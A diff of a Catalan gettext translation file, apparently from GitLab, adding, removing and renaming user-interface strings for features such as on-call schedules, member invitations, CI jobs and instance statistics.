@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr "Usuari del GitLab"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr "Enrere"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr "Edita el grup"
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] "Instàncies"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr "Mai"
msgid "New"
msgstr "Nou"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
